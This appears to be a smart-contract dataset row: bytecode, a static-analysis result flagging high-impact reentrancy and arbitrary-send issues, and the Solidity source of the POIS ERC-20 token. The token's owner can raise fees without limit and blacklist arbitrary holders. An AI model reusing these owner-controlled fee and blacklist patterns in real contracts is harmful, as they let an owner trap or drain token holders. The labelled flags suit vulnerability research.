d5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ec046669afa599df3c8403e459633be7c58c57e80de831942da9b8ff95d4fd464736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,651 |
0x45fDc57EA9D9F9966a7da46c5A90D6f5980A11f2
|
/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier:MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Library for doing a swap on Dex
library Utils {
using SafeMath for uint256;
function swapTokensForEth(address routerAddress, uint256 tokenAmount)
internal
{
uniswapRouter UniSwapRouter = uniswapRouter(routerAddress);
// generate the Dex pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniSwapRouter.WETH();
// make the swap
UniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp + 300
);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface uniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = payable(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract POIS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isExcludedFromFee;
mapping(address => bool) public _isExcludedFromMaxTx;
mapping(address => bool) public _isSniper;
string private _name = "Planet Of Inus";
string private _symbol = "POIS";
uint8 private _decimals = 9;
uint256 private _totalSupply = 500000 * 1e9 * 1e9;
uniswapRouter public UniSwapRouter;
address public UniSwapPair;
address payable public marketDevWallet;
uint256 public maxTxAmount = _totalSupply.mul(1).div(100); // should be 1% percent per transaction
uint256 public minTokenToSwap = 100000 * 1e9;
uint256 public _launchTime; // can be set only once
uint256 public antiSnipingTime = 90 seconds;
bool public feesStatus = true; // enable by default
bool public _tradingOpen; //once switched on, can never be switched off.
uint256 public marketDevFee = 8; // Used for both marketing and development. Future staking,vesting, P2E
uint256 public maxHoldingLimit = _totalSupply.mul(1).div(100);
constructor(address payable _marketDevWallet) {
_balances[owner()] = _totalSupply;
marketDevWallet = _marketDevWallet;
uniswapRouter _uniSwapRouter = uniswapRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D //uniswap router address
);
UniSwapPair = IUniswapV2Factory(_uniSwapRouter.factory()).createPair(
address(this),
_uniSwapRouter.WETH()
);
// set the rest of the contract variables
UniSwapRouter = _uniSwapRouter;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
// exclude from max tx
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[address(this)] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
receive() external payable {}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"POIS: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "POIS: decreased allowance below zero"));
return true;
}
function includeOrExcludeFromFee(address account, bool value) external onlyOwner
{
_isExcludedFromFee[account] = value;
}
function includeOrExcludeFromMaxTx(address _address, bool value) external onlyOwner
{
_isExcludedFromMaxTx[_address] = value;
}
function setMaxTxAmount(uint256 _amount) external onlyOwner {
maxTxAmount = _amount;
}
// for 1% input 100
function setMaxHoldingPercent(uint256 value) public onlyOwner {
maxHoldingLimit = _totalSupply.mul(value).div(100);
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
minTokenToSwap = _amount;
}
function setFeePercent(uint256 _marketDevFee) external onlyOwner {
marketDevFee = _marketDevFee;
}
function enableOrDisableFees(bool _value) external onlyOwner {
feesStatus = _value;
}
function UpdateMarketDevWalle(address payable _marketDevWallet) external onlyOwner {
marketDevWallet = _marketDevWallet;
}
function setRouterAddress(uniswapRouter _router, address _pair) external onlyOwner
{
UniSwapRouter = _router;
UniSwapPair = _pair;
}
function startTrading() external onlyOwner {
require(!_tradingOpen, "POIS: Already enabled");
_tradingOpen = true;
_launchTime = block.timestamp;
}
function setTimeForSniping(uint256 _time) external onlyOwner {
antiSnipingTime = _time;
}
function addSniperInList(address _account) external onlyOwner {
require(
_account != address(UniSwapRouter),
"POIS: We can not blacklist UniSwapRouter"
);
require(!_isSniper[_account], "POIS: sniper already exist");
_isSniper[_account] = true;
}
function removeSniperFromList(address _account) external onlyOwner {
require(_isSniper[_account], "POIS: Not a sniper");
_isSniper[_account] = false;
}
function totalFeePerTx(uint256 amount) public view returns (uint256) {
uint256 fee = amount.mul(marketDevFee).div(1e2);
return fee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "POIS: approve from the zero address");
require(spender != address(0), "POIS: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "POIS: transfer from the zero address");
require(to != address(0), "POIS: transfer to the zero address");
require(amount > 0, "POIS: Amount must be greater than zero");
require(!_isSniper[to], "POIS: Sniper detected");
require(!_isSniper[from], "POIS: Sniper detected");
if(from == UniSwapPair && to != owner()){
require(balanceOf(to).add(amount) <= maxHoldingLimit," POIS: Max Holding limit reached");
}
if (
_isExcludedFromMaxTx[from] == false &&
_isExcludedFromMaxTx[to] == false // by default false
) {
require(amount <= maxTxAmount, "POIS: amount exceeded max limit");
if (!_tradingOpen) {
require(
from != UniSwapPair && to != UniSwapPair,
"POIS: Trading is not enabled yet"
);
}
if (
block.timestamp < _launchTime + antiSnipingTime &&
from != address(UniSwapRouter)
) {
if (from == UniSwapPair) {
_isSniper[to] = true;
} else if (to == UniSwapPair) {
_isSniper[from] = true;
}
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if (
_isExcludedFromFee[from] ||
_isExcludedFromFee[to] ||
!feesStatus
) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if ((sender == UniSwapPair || recipient == UniSwapPair) && takeFee) {
uint256 allFee = totalFeePerTx(amount);
uint256 tTransferAmount = amount.sub(allFee);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
emit Transfer(sender, recipient, tTransferAmount);
_takeMarketDevFee(sender,amount);
}
else {
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _takeMarketDevFee(address sender,uint256 amount) internal {
uint256 fee = amount.mul(marketDevFee).div(1e2);
_balances[address(marketDevWallet)] = _balances[address(marketDevWallet)].add(fee);
emit Transfer(sender, address(marketDevWallet), fee);
}
}
|
0x6080604052600436106102545760003560e01c80638c0b5e2211610139578063cd52c701116100b6578063f097ea1a1161007a578063f097ea1a146108e6578063f2fde38b1461090f578063f73c0cd214610938578063f882a05614610963578063fa58fc2d146109a0578063fdc2a2c1146109c95761025b565b8063cd52c70114610803578063dd62ed3e1461082e578063dd7bd7751461086b578063ea5b9e8514610894578063ec28438a146108bd5761025b565b8063a457c2d7116100fd578063a457c2d71461070c578063a9059cbb14610749578063b0bc2a2d14610786578063b445bd09146107af578063c6a7584e146107da5761025b565b80638c0b5e22146106375780638da5cb5b1461066257806395d89b411461068d5780639ab4c3eb146106b85780639e406797146106e35761025b565b8063313ce567116101d257806370a082311161019657806370a0823114610527578063715018a614610564578063768dc7101461057b57806379ebe4bd146105b85780637ce3489b146105e3578063879dd3c51461060c5761025b565b8063313ce5671461044057806338d6f8471461046b57806339509351146104945780633c8d355f146104d15780635154f136146104fc5761025b565b806318160ddd1161021957806318160ddd146103595780631884f1e6146103845780631fca803d146103af57806323b872dd146103ec578063293230b8146104295761025b565b806216bd6c1461026057806306fdde031461028957806307866291146102b45780630920fd8c146102f1578063095ea7b31461031c5761025b565b3661025b57005b600080fd5b34801561026c57600080fd5b5061028760048036038101906102829190613148565b6109f2565b005b34801561029557600080fd5b5061029e610ab8565b6040516102ab919061320e565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d6919061328e565b610b4a565b6040516102e891906132d6565b60405180910390f35b3480156102fd57600080fd5b50610306610b6a565b6040516103139190613300565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061331b565b610b70565b60405161035091906132d6565b60405180910390f35b34801561036557600080fd5b5061036e610b8e565b60405161037b9190613300565b60405180910390f35b34801561039057600080fd5b50610399610b98565b6040516103a69190613300565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d1919061328e565b610b9e565b6040516103e391906132d6565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e919061335b565b610bbe565b60405161042091906132d6565b60405180910390f35b34801561043557600080fd5b5061043e610c97565b005b34801561044c57600080fd5b50610455610da0565b60405161046291906133ca565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d919061328e565b610db7565b005b3480156104a057600080fd5b506104bb60048036038101906104b6919061331b565b610fc5565b6040516104c891906132d6565b60405180910390f35b3480156104dd57600080fd5b506104e6611078565b6040516104f39190613300565b60405180910390f35b34801561050857600080fd5b5061051161107e565b60405161051e9190613300565b60405180910390f35b34801561053357600080fd5b5061054e6004803603810190610549919061328e565b611084565b60405161055b9190613300565b60405180910390f35b34801561057057600080fd5b506105796110cd565b005b34801561058757600080fd5b506105a2600480360381019061059d919061328e565b611220565b6040516105af91906132d6565b60405180910390f35b3480156105c457600080fd5b506105cd611240565b6040516105da9190613444565b60405180910390f35b3480156105ef57600080fd5b5061060a60048036038101906106059190613148565b611266565b005b34801561061857600080fd5b50610621611305565b60405161062e91906132d6565b60405180910390f35b34801561064357600080fd5b5061064c611318565b6040516106599190613300565b60405180910390f35b34801561066e57600080fd5b5061067761131e565b604051610684919061346e565b60405180910390f35b34801561069957600080fd5b506106a2611347565b6040516106af919061320e565b60405180910390f35b3480156106c457600080fd5b506106cd6113d9565b6040516106da91906134aa565b60405180910390f35b3480156106ef57600080fd5b5061070a600480360381019061070591906134f1565b6113ff565b005b34801561071857600080fd5b50610733600480360381019061072e919061331b565b6114ef565b60405161074091906132d6565b60405180910390f35b34801561075557600080fd5b50610770600480360381019061076b919061331b565b6115bc565b60405161077d91906132d6565b60405180910390f35b34801561079257600080fd5b506107ad60048036038101906107a89190613531565b6115da565b005b3480156107bb57600080fd5b506107c461168c565b6040516107d1919061346e565b60405180910390f35b3480156107e657600080fd5b5061080160048036038101906107fc919061359c565b6116b2565b005b34801561080f57600080fd5b506108186117cd565b60405161082591906132d6565b60405180910390f35b34801561083a57600080fd5b50610855600480360381019061085091906135dc565b6117e0565b6040516108629190613300565b60405180910390f35b34801561087757600080fd5b50610892600480360381019061088d919061328e565b611867565b005b3480156108a057600080fd5b506108bb60048036038101906108b691906134f1565b6119e3565b005b3480156108c957600080fd5b506108e460048036038101906108df9190613148565b611ad3565b005b3480156108f257600080fd5b5061090d60048036038101906109089190613148565b611b72565b005b34801561091b57600080fd5b506109366004803603810190610931919061328e565b611c11565b005b34801561094457600080fd5b5061094d611dd3565b60405161095a9190613300565b60405180910390f35b34801561096f57600080fd5b5061098a60048036038101906109859190613148565b611dd9565b6040516109979190613300565b60405180910390f35b3480156109ac57600080fd5b506109c760048036038101906109c29190613148565b611e0f565b005b3480156109d557600080fd5b506109f060048036038101906109eb9190613648565b611eae565b005b6109fa61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e906136c1565b60405180910390fd5b610aaf6064610aa183600954611f8790919063ffffffff16565b61200290919063ffffffff16565b60138190555050565b606060068054610ac790613710565b80601f0160208091040260200160405190810160405280929190818152602001828054610af390613710565b8015610b405780601f10610b1557610100808354040283529160200191610b40565b820191906000526020600020905b815481529060010190602001808311610b2357829003601f168201915b5050505050905090565b60046020528060005260406000206000915054906101000a900460ff1681565b600f5481565b6000610b84610b7d61204c565b8484612054565b6001905092915050565b6000600954905090565b600e5481565b60056020528060005260406000206000915054906101000a900460ff1681565b6000610bcb84848461221f565b610c8c84610bd761204c565b610c87856040518060600160405280602781526020016140a660279139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c3d61204c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129fc9092919063ffffffff16565b612054565b600190509392505050565b610c9f61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d23906136c1565b60405180910390fd5b601160019054906101000a900460ff1615610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d739061378e565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555042600f81905550565b6000600860009054906101000a900460ff16905090565b610dbf61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e43906136c1565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490613820565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f619061388c565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061106e610fd261204c565b846110698560026000610fe361204c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6090919063ffffffff16565b612054565b6001905092915050565b60105481565b60135481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110d561204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611162576040517f08c379a000000000000000